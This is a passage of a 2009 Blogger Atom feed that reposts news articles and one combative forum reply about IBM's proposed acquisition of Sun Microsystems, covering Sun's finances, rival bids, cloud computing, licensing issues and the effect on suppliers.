src='https://blogger.googleusercontent.com/tracker/3491484289991340511-3137680799872467609?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/3137680799872467609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=3137680799872467609' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3137680799872467609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/3137680799872467609'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/sun-micro-shares-slide-as-concerns-grow_29.html' title='Sun Micro Shares Slide As Concerns Grow Around IBM Deal'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-5457565482789762275</id><published>2009-03-29T06:20:00.000-07:00</published><updated>2009-03-29T06:21:23.694-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>What about Java?</title><content type='html'>When you state that SUN doesnt make money out of Java, is it something you know, wish it would be so, or just sheer phantasies? It is quite often you speak about things you have no clue, you can never back your claims up with proof.&lt;br /&gt;&lt;br /&gt;Sun's bottom line is my ultimate proof, but where are the licenses Sun is selling for Java? Where are the licenses, consultancy or support that Sun is raking in for development tools off the back of Java? I'll tell you where they are - nowhere. Zilch, zip, none.&lt;br /&gt;&lt;br /&gt;All Sun did with Java was to create a reasonably successful development platform for their competitors (mostly IBM) that turned the things they really wanted to sell, Solaris and SPARC, into commodities because people could easily move Java applications off those platforms. None of this inane rambling has done anything to argue my main point regarding that.&lt;br /&gt;&lt;br /&gt;Seriously, what are you doing here on OSNEWS? You are clearly not IT knowledgeable.&lt;br /&gt;&lt;br /&gt;Keep deluding yourself about the reality of the situation, and we've also been through the rest of your inane bullshit many times. Trying to rehash arguments again when you have the memory of a goldfish and can't remember what has been explained and argued won't make you right.&lt;br /&gt;&lt;br /&gt;I can see you're obviously deeply hurt by the predicament that Sun is in and obviously cannot fathom for the life of you how all this could possibly have happened, but I'm not an Agony Uncle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-5457565482789762275?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/5457565482789762275/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=5457565482789762275' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5457565482789762275'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/5457565482789762275'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/what-about-java.html' title='What about Java?'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6742386695733900830</id><published>2009-03-29T06:19:00.001-07:00</published><updated>2009-03-29T06:19:53.583-07:00</updated><title type='text'>Is IBM (IBM) Deal To Buy Sun (JAVA) In Trouble?</title><content type='html'>Inevitably, when a corporate buy-out is announced or rumored, the target company’s stock prices trades up to the level of the value of the deal.&lt;br /&gt;&lt;br /&gt;Last week, there was news that IBM (IBM) was likely to buy Sun (JAVA) for about $10 a share. Sun’s stock jumped from under $5 to almost $9 in one day. But, since then Sun’s shares have been moving down. They closed the week at $7.83, well below the rumored purchase price.&lt;br /&gt;&lt;br /&gt;There could be several reasons that IBM has either lost interest in Sun or is considering lowering a purchase price. One is that Sun has lost money or broken even in several of its most recent quarters. In the periods when the company did make a profit, it was modest. It may be that IBM has discovered that the next several quarters look weak for Sun.&lt;br /&gt;&lt;br /&gt;Alternatively, IBM may have found out the the value of Sun’s customer contracts going forward are not as strong as it may have initially believed. Sun may be losing market share to larger competitors like Hewlett-Packard (HPQ). If Sun’s piece of the server global server industry is dropping rapidly, IBM may be considering walking away from a transaction or lowering its offer.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6742386695733900830?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6742386695733900830/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6742386695733900830' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6742386695733900830'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6742386695733900830'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/is-ibm-ibm-deal-to-buy-sun-java-in.html' title='Is IBM (IBM) Deal To Buy Sun (JAVA) In Trouble?'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6523380630528304779</id><published>2009-03-29T06:17:00.000-07:00</published><updated>2009-03-29T06:18:45.265-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Oracle and HP proposed joint Sun dismemberment deal</title><content type='html'>Oracle and Hewlett-Packard are believed to have made a joint offer for Sun Microsystems in a deal totaling more than $2bn.&lt;br /&gt;&lt;br /&gt;Under the deal, database giant Oracle would have taken Sun's software portfolio for $2bn, leaving HP with Sun's vast Solaris, Sparc, and x86 server products, manufacturing and distribution, and user base.&lt;br /&gt;&lt;br /&gt;A potential deal between the three is understood to have been blocked by IBM, in the middle of talks to buy the whole of Sun for a reported $6.5bn.&lt;br /&gt;&lt;br /&gt;Oracle, HP, and Sun declined to comment on what they called rumors, while IBM was unavailable for comment at the time of going to press.&lt;br /&gt;&lt;br /&gt;A source, who didn't want to be identified, told The Reg that Oracle and HP had gone in to meet Sun to discuss the possible deal.&lt;br /&gt;&lt;br /&gt;It's already been reported that Sun had been shopping itself around Silicon Valley, with HP named as a potential buyer.&lt;br /&gt;&lt;br /&gt;This, though, is the first indication that HP had teamed with Larry Ellison's M&amp;A beast Oracle - which has bought 50 companies in four years - to take only what they wanted from Sun. At $2bn, this would have been one of Oracle's large purchases, slotting behind PeopleSoft and BEA Systems.&lt;br /&gt;&lt;br /&gt;Oracle and Sun parted ways on Java and on databases on Sparc a while back, partly thanks to Sun's $1bn purchase of the popular open-source database MySQL.&lt;br /&gt;&lt;br /&gt;Of all Sun's software products, Oracle is likely to be most interested in owning this.&lt;br /&gt;&lt;br /&gt;Despite what Sun thinks of itself as a software company, it has failed to build either a must-have software portfolio or a huge base of customers feeding Sun with license or services revenue around Java or open source.&lt;br /&gt;&lt;br /&gt;The only bright spots are Solaris, Sun's directory and identity servers and MySQL. That's despite chief executive Jonathan Schwartz's rhetoric about making money from open-source in the cloud, which must be seen as an attempt to talk up the value of Sun's software assets and their potential.&lt;br /&gt;&lt;br /&gt;MySQL would have had the most immediate interest for Oracle. Directory and identity are more complicated sells and Oracle has its own offerings. Oracle, meanwhile, has been distancing itself from anything to do with Sparc, as its systems relationship with Sun has cooled in recent years and the industry focus has shifted off Unix and Sparc and onto Linux and x86.&lt;br /&gt;&lt;br /&gt;The database, though, has been growing relatively fast, although it has been tough converting free users into paying Sun customers.&lt;br /&gt;&lt;br /&gt;Oracle, meanwhile, has failed to string together a decent open-source middleware strategy, from the time it let JBoss go to Red Hat to Oracle's predatory Red Hat support services that has fizzled.&lt;br /&gt;&lt;br /&gt;An open-source database would give Oracle a big overnight presence among developers and in the OEM and web applications markets.&lt;br /&gt;&lt;br /&gt;Oracle made a tentative play to undermine MySQL in 2006 when it purchased the InnoDB transactional storage engine. MySQL developers have since filled the InnoDB gap.&lt;br /&gt;&lt;br /&gt;Had it been successful, a deal would likely have alarmed MySQL users and developers over the database's future, given Oracle's priority is paid, closed-source databases and the fact that it tried through InnoDB to kill MySQL.&lt;br /&gt;&lt;br /&gt;That said, MySQL's future under Sun has also been looking uncertain. MySQL author Monty Widenius has left while former MySQL chief executive Marten Mickos will see his last day at Sun next Tuesday, following a farewell appearance at this week's Open Source Business Conference in San Francisco, California.&lt;br /&gt;&lt;br /&gt;Other former MySQL executives are also believed to be looking for a way out of Sun. It is believed individuals in the MySQL management have been unhappy with the fact Sun's management has not been listening to their advice on strategy and direction. ®&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6523380630528304779?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6523380630528304779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6523380630528304779' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6523380630528304779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6523380630528304779'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/oracle-and-hp-proposed-joint-sun.html' title='Oracle and HP proposed joint Sun dismemberment deal'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7355460210860505183</id><published>2009-03-29T06:16:00.000-07:00</published><updated>2009-03-29T06:17:36.565-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>With Sun, IBM Aims for Cloud Computing Heights</title><content type='html'>IBM (IBM) is in the midst of negotiating to acquire Sun Microsystems (JAVA) at a critical time for the tech industry. A major shift is at hand in the way businesses handle computing tasks, and giants such as IBM and Sun are under pressure to alter the way they operate. Neither company would comment on the potential $6.5 billion deal, but it's clear that if IBM adds Sun's Internet technologies to its arsenal, it will be better poised for what comes next.&lt;br /&gt;&lt;br /&gt;The rise of what's known as cloud computing has the potential to turn the tech industry on its head. Rather than buying and managing their own machines, businesses can buy everything from salesforce-tracking software to supply chain management as a service, over the Internet. They pay monthly fees to companies that specialize in operating data centers. "Cloud computing is a different way of consuming and delivering computing," said Erich Clementi, general manager of enterprise initiatives at IBM, before news of the Sun negotiations leaked. "It has the potential to transform nearly everything we do."&lt;br /&gt;&lt;br /&gt;Sun has a broad portfolio of Net-oriented technologies including the Java programming language and systems for running consumer Web sites, such as Last.fm, a popular music service. Those technologies give Sun a strong foothold in cloud computing and could help IBM in the business.&lt;br /&gt;&lt;br /&gt;For large computer makers, including IBM, Sun, Hewlett-Packard (HPQ), and Dell (DELL), the shift to cloud computing brings challenges as well as opportunities. Computers in cloud data centers are shared by many companies, so more is done with less equipment—putting a potential drag on server-computer sales. Cloud pioneer Salesforce.com (CRM), for instance, handles 54,000 companies and their 1.5 million employees via just 1,000 servers.&lt;br /&gt;&lt;br /&gt;The cloud phenomenon will put pressure on margins, too. In some cases, computer makers will sell gear to cloud-hosting outfits that in turn provide services to companies. Large hosting companies may have the scale to negotiate rock-bottom prices. "We'll have pricing leverage," says Bryan Doerr, chief technology officer at Savvis (SVVS), a large hosting company.&lt;br /&gt;&lt;br /&gt;If computer companies offer their own cloud services, they'll be trading the instant gratification of lucrative computer sales for a stream of payments stretched over months. After Sun launched a precursor of cloud services four years ago, some salespeople balked at losing out on hardware commissions. Analyst Frank E. Gillett of Forrester Research (FORR) predicts that "the server guys are in for a long, difficult transition."&lt;br /&gt;FALSE START&lt;br /&gt;&lt;br /&gt;Sun's earlier foray shows how difficult it might be. In 2005, Sun began offering computing power delivered as a service at $1 per hour. But Sun's Network.com service never took off. Lew Tucker, chief technology officer for Sun's new cloud initiative, says the problem was the narrow target market, mainly Wall Street firms that already operated their own data centers. Tucker calls it a learning experience. The company's new Sun Cloud service, unveiled Mar. 17, is aimed at a broader audience: Web 2.0 startups and units of large corporations.&lt;br /&gt;&lt;br /&gt;Web startups long favored Sun gear for running their sites, but the company has lost momentum. For several years, Web companies have been shifting away from Sun's powerful computers and opting for lower-cost, basic servers.&lt;br /&gt;&lt;br /&gt;Purchasing Sun would be a risk for IBM, but the merger would enhance its chances of becoming a major player in cloud computing. With a $13 billion cash hoard, IBM can afford the gamble.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7355460210860505183?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7355460210860505183/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7355460210860505183' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7355460210860505183'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7355460210860505183'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/with-sun-ibm-aims-for-cloud-computing.html' title='With Sun, IBM Aims for Cloud Computing Heights'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-7760051770012833005</id><published>2009-03-29T06:11:00.000-07:00</published><updated>2009-03-29T06:15:18.681-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>As IBM-Sun Micro talks drag on, analysts eye risks</title><content type='html'>NEW YORK (Reuters) - As IBM's (IBM.N) negotiations to buy Sun Microsystems Inc (JAVA.O) enter another week, some analysts are weighing the risks in what could be the biggest U.S. technology deal this year.&lt;br /&gt;&lt;br /&gt;As of Friday, IBM was still examining Sun's business as part of its due diligence process, and talks may extend beyond next week, according to one source who was not authorized to speak about the talks and therefore requested anonymity.&lt;br /&gt;&lt;br /&gt;Most on Wall Street say a deal would bolster IBM's high-end computer and software business, and help ensure the survival of much-smaller Sun. But they also note that Sun's lagging business could hurt IBM's margins and derail its shift to more lucrative software and services from increasingly commoditized hardware sales.&lt;br /&gt;&lt;br /&gt;"Strategically we're a little lukewarm on it," said Edward Jones analyst Andy Miedler. "Financially this could make sense. But we question how much IBM needs Sun and whether it will would be able to get better value out of Sun's software than Sun is getting."&lt;br /&gt;&lt;br /&gt;Wachovia analyst David Wong disagreed with some views that Sun's software assets would help IBM grow.&lt;br /&gt;&lt;br /&gt;Sun posted an 11 percent decline in quarterly revenue for its fiscal quarter ended December 28, while gross margins shrank to 41.9 percent from 48.5 percent from a year earlier. The company rose to prominence in the 1990s but never fully recovered from the dotcom bubble burst earlier this decade, and analysts say failed talks with IBM could trigger a sell-off in the shares.&lt;br /&gt;&lt;br /&gt;"Although Sun has what we consider to be interesting software intellectual property, including Solaris and Java, Sun's own revenue breakout shows that less than 10 percent of its sales are directly ascribable to software," Wong said.&lt;br /&gt;&lt;br /&gt;"We think that an acquisition of Sun would offer limited benefit to IBM."&lt;br /&gt;&lt;br /&gt;The Wall Street Journal reported on March 18 that IBM could pay as much as $8 billion for Sun, amounting to a 100 percent premium for the high-end server computer maker. If a deal is sealed, it would be IBM's largest acquisition.&lt;br /&gt;&lt;br /&gt;First Global research analyst Amitabh Goel earlier this week said Sun was simply too troubled and that there was too much risk for IBM to get involved.&lt;br /&gt;&lt;br /&gt;"All said and done, Sun Microsystems still remains a company with a huge cost base, with a declining revenue trend adding further to its woes," he said.&lt;br /&gt;&lt;br /&gt;SILENCE FROM BOTH SIDES&lt;br /&gt;&lt;br /&gt;Neither IBM nor Sun has said they are in talks, and both declined to comment on news reports of their negotiations. Some analysts said the lack of official confirmation and explanation of their strategies made it hard to assess potential benefits.&lt;br /&gt;&lt;br /&gt;To be sure, many analysts are still upbeat that a deal could give IBM a clear lead in the server market against Hewlett-Packard Co (HPQ.N) and Dell Inc (DELL.O). It would also give IBM an edge against Cisco Systems Inc (CSCO.O), which some see as its biggest rival in several years.&lt;br /&gt;&lt;br /&gt;Kaufman Brothers analyst Shaw Wu said that even though Sun had not succeeded in making much profit from its new software products, he believed that they could find more demand if they were coupled with IBM's broad portfolio.&lt;br /&gt;He said Java software could do for IBM, to some extent, what iTunes does for personal computer and iPod maker Apple Inc (AAPL.O). "I think it's a fair parallel. iTunes is not really an engine in itself but it really helps Apple sell the other stuff," Wu said.&lt;br /&gt;&lt;br /&gt;Analysts said IBM will likely launch a major restructuring at Sun once it buys the company. That could result in more job losses at a company known for talented engineers and heavy focus on research and development, they said.&lt;br /&gt;&lt;br /&gt;IBM has already cut several thousand jobs in recent months, and is cutting another 5,000 U.S. jobs on top of that, people with knowledge of the matter said.&lt;br /&gt;&lt;br /&gt;But most agreed the greatest risk for Sun at the moment was in the deal falling through. Failed negotiations with IBM likely will mean that Sun will need to look for another buyer, and contend with a lower offer.&lt;br /&gt;&lt;br /&gt;"If skeletons tumble out of Sun's closet during the process, the deal could fall apart," said one technology banker familiar with the process of due diligence. "We've done hundreds of transactions where it looks good on the surface, then you get in there and you back away."&lt;br /&gt;&lt;br /&gt;Sun shares closed at $7.83 on Friday, down from a high of $9.27 struck after the deal was first reported, but still significantly above $4.97, its last closing price before the talks were first reported.&lt;br /&gt;&lt;br /&gt;"IBM likes to take the charge when doing due diligence," said one Sun shareholder, who requested anonymity. "But every day that a deal doesn't happen makes me more nervous."&lt;br /&gt;&lt;br /&gt;IBM shares fell 4.7 percent to $94.15 on the New York Stock Exchange, on a day when by comparison the tech-laden Nasdaq fell 2.6 percent.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-7760051770012833005?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/7760051770012833005/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=7760051770012833005' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7760051770012833005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/7760051770012833005'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/as-ibm-sun-micro-talks-drag-on-analysts.html' title='As IBM-Sun Micro talks drag on, analysts eye risks'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8749988742752174698</id><published>2009-03-29T06:08:00.000-07:00</published><updated>2009-03-29T06:11:34.647-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>IP issues could be slowing IBM-Sun talks, experts say</title><content type='html'>If IBM is in the due diligence phase of acquisition talks with Sun Microsystems, as news reports suggest, then it has an awful lot to be diligent about.&lt;br /&gt;&lt;br /&gt;In a merger of this scale, IBM would need to take a hard look not only at Sun's finances but also at any antitrust issues that may arise, as well as potential conflicts related to intellectual property. Those could include compatibility of software licenses and patent agreements with third parties.&lt;br /&gt;Mining the Right Iron: Download now&lt;br /&gt;&lt;br /&gt;"In a deal of this size, there are typically lots of moving parts," said Randall Bowen, an attorney at Grad, Logan and Klewans in Falls Church, Virginia. "Think of a kaleidoscope, where you turn it and everything comes together to form a nice symmetrical shape. Either that happens and everything falls into place, or else it shatters."&lt;br /&gt;&lt;br /&gt;The Wall Street Journal reported last Friday that IBM was scouring Sun's business contracts for potential conflicts in a prelude to a possible merger, a process it said was expected to take "a number of days." With another week over and no word about a deal from the companies, some observers are starting to wonder if there's a holdup.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;"It's impossible to know what it is they're looking at, but the fact that it's taking this long gives one pause to wonder whether there's just such a volume of contracts to look at that it's occupying all this time, or whether they've found some issues that they're busily chasing down," said Steven Frank, a partner with the law firm Goodwin Procter.&lt;br /&gt;&lt;br /&gt;To be sure, the due diligence process for a merger this size could take months to complete. But companies often do a cursory review of the business they hope to acquire in order to announce a preliminary merger agreement. They then take several months before the deal is finalized to pore over the details.&lt;br /&gt;&lt;br /&gt;If they do plan to merge, Sun and IBM may simply be haggling over price. But if the due diligence is holding them up, the thorny area of intellectual property could create some sticking points, said Frank, who spoke about IT industry mergers in general and not specifically this one.&lt;br /&gt;&lt;br /&gt;Both companies have vast product portfolios governed by a mix of open-source and commercial licenses. They also have numerous patent and cross-licensing deals with third parties, including a byzantine agreement that Sun forged with Microsoft in 2004 that ended a lawsuit between them over the Java software technology.&lt;br /&gt;&lt;br /&gt;Sun may be licensing a technology from a third party that is vital to one of its products, for example, and such agreements sometimes have clauses stipulating that the license can't be transferred if the licensee is acquired. IBM would need to approach the third party to extend the license, or decide whether to go ahead with the merger even if it has to find another way to build the product.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That's the issue Intel raised about Advanced Micro Devices' sale of its manufacturing operations to an Abu Dhabi investment group. Intel accused AMD of violating a cross-patent agreement on x86 processors that could not be transferred to a third party, and the companies are in talks with a mediator to resolve the dispute.&lt;br /&gt;&lt;br /&gt;Conflicting software licenses can also be a problem. Dozens of Sun's products, including OpenSolaris, NetBeans and its GlassFish Web software, use its Common Development and Distribution License, which is based on the open-source Mozilla Public License. Its MySQL database is offered under the GPL or a Sun commercial license, while still other products use different licenses.&lt;br /&gt;&lt;br /&gt;Depending on what IBM has planned for Sun's technologies, the mix of licenses could be a challenge, said Randall Colson, a partner at Haynes and Boone. For example, some industry analysts speculate that IBM wants to merge the best of Solaris into IBM's AIX Unix, which is offered under an IBM commercial license. If Sun has merged a third party's open-source code into Solaris, IBM may find barriers to merging Solaris with its proprietary AIX software.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Perhaps most complex for IBM would be the intricate deal that Sun entered into with Microsoft, which ended a long-standing lawsuit between them over Microsoft's alleged attempts to undermine Java.&lt;br /&gt;&lt;br /&gt;The deal netted Sun almost $2 billion from Microsoft, including payments of $700 million for Sun to drop its Java lawsuit, and a further $900 million for a patent-sharing agreement that could be extended for as long as 10 years. IBM, whose software business depends heavily on Java, would need to pull those agreements apart to ensure nothing could interfere with its business or expose it to legal risk from Microsoft.&lt;br /&gt;&lt;br /&gt;With reports of the due diligence work only a week old, it would be premature to assume that any talks under way have run into trouble, Bowen said. But the longer they take, the more uncertainty it creates for the customers and investors. &lt;br /&gt;"It's fair to say that with every day that passes, it makes it seem a little less likely that this deal is going to happen," he said&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8749988742752174698?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8749988742752174698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8749988742752174698' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8749988742752174698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8749988742752174698'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/03/ip-issues-could-be-slowing-ibm-sun.html' title='IP issues could be slowing IBM-Sun talks, experts say'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8566334576670411464</id><published>2009-03-29T06:07:00.000-07:00</published><updated>2009-03-29T06:08:38.928-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>IBM-Sun Acquisition May Make ‘1 Plus 1’ Less Than 2</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.bloomberg.com/apps/data?pid=avimage&amp;iid=iu2D5OTQjDFI"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 488px; height: 366px;" src="http://www.bloomberg.com/apps/data?pid=avimage&amp;iid=iu2D5OTQjDFI" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt; International Business Machines Corp.’s acquisition of Sun Microsystems Inc. could be bad news for the small suppliers that have grown up around the computer industry as their largest customers fuse.&lt;br /&gt;&lt;br /&gt;Network gear makers QLogic Corp. and Emulex Corp. would be among suppliers with fewer places to sell their products, channeling pricing power to buyers, said Peter Falvey, managing director of investment bank Revolution Partners LLC. IBM is in talks to buy computer-server maker Sun, people with knowledge of the matter have said.&lt;br /&gt;&lt;br /&gt;QLogic, Emulex and Mellanox Technologies Ltd., which makes products that help servers communicate, have a combined market value of less than $3 billion and their annual sales are equal to about 1 percent of IBM’s. They get about half their revenue from IBM, Hewlett-Packard Co., Dell Inc. and Sun, according to data compiled by business relationship Web site Connexiti.com.&lt;br /&gt;&lt;br /&gt;“The real threat is it’s a 1 plus 1 equals 1.7 situation,” Boston-based Falvey said in an interview. “I’m sure those guys are nervous.”&lt;br /&gt;&lt;br /&gt;Emulex gets about 35 percent of its revenue from IBM and Sun, compared with 27 percent for QLogic and 23 percent for Mellanox, according to Connexiti. A combined company would have the scale to press suppliers for lower prices, potentially reducing the value of sales, Falvey said.&lt;br /&gt;&lt;br /&gt;IBM’s Dominance&lt;br /&gt;&lt;br /&gt;The deal would give IBM, the largest maker of server computers, almost half of global server sales, and may spark a wave of acquisitions that could pressure suppliers further. That, coupled with the recession, has weighed on cash flow and available credit at those smaller suppliers, which may in turn push them to combine to stay afloat, Deloitte LLP Vice Chairman Eric Openshaw said.&lt;br /&gt;&lt;br /&gt;“If you have a big cash war chest, you can ride this thing out,” said Openshaw, who leads the consultant’s technology group. “If you don’t, you’re probably looking to see who your most logical partner is.”&lt;br /&gt;&lt;br /&gt;IBM, based in Armonk, New York, would pay about $10 for each share of Sun, according to the people familiar with the matter. Server computers run networks and Web sites.&lt;br /&gt;&lt;br /&gt;Dell, the second-largest personal computer maker, and EMC Corp., the world’s biggest maker of storage computers, may be next in line to be sold, Revolution’s Falvey said. Round Rock, Texas-based Dell has cut jobs to help reduce $4 billion in expenses as it deals with a recession that’s predicted to cut PC shipments by the most ever this year, while EMC is one of the few, mid-sized companies left to target, he said.&lt;br /&gt;&lt;br /&gt;Stock Performance&lt;br /&gt;&lt;br /&gt;Emulex fell 16 cents to $5.52 in New York Stock Exchange composite trading at 4:01 p.m. QLogic dropped 39 cents to $11.72 on the Nasdaq Stock Market. Sunnyvale, California-based Mellanox declined 35 cents to $8.77.&lt;br /&gt;&lt;br /&gt;Customer loyalty could help offset the impact an IBM-Sun merger would have on the companies’ suppliers, said Rajesh Ghai, an analyst at ThinkEquity LLC in San Francisco.&lt;br /&gt;&lt;br /&gt;Businesses accustomed to using one type of technology, like the network gear that QLogic and Emulex make, are probably going to be unwilling to part with their equipment, said Ghai, who rates QLogic shares “accumulate” and doesn’t own any.&lt;br /&gt;&lt;br /&gt;Executives at QLogic and Emulex contend that consolidation won’t hurt their business. Aliso Viejo, California-based QLogic supplies chips and switches for corporate networks. Emulex, based in Costa Mesa, California, makes components that help computers store data.&lt;br /&gt;&lt;br /&gt;Emulex Stance&lt;br /&gt;&lt;br /&gt;“The rumored IBM-Sun deal could have a positive impact on our storage and data networking business” by increasing sales of some products, said Scott Genereux, QLogic’s senior vice president of worldwide sales and marketing. He touted the company’s more than 10-year relationship with IBM and said there’s a “strong preference” for QLogic’s products in Sun’s user base, which may help increase sales of products that let computers work with other devices.&lt;br /&gt;&lt;br /&gt;“We’re embracing it,” Emulex Chief Operating Officer Jeff Benck said in an e-mail. “It provides us with stronger customers.” Spokeswoman Katherine Lane declined to elaborate further.&lt;br /&gt;&lt;br /&gt;Mellanox spokesman Brian Sparks declined to comment because the IBM-Sun talks haven’t been officially disclosed. IBM spokesman Ian 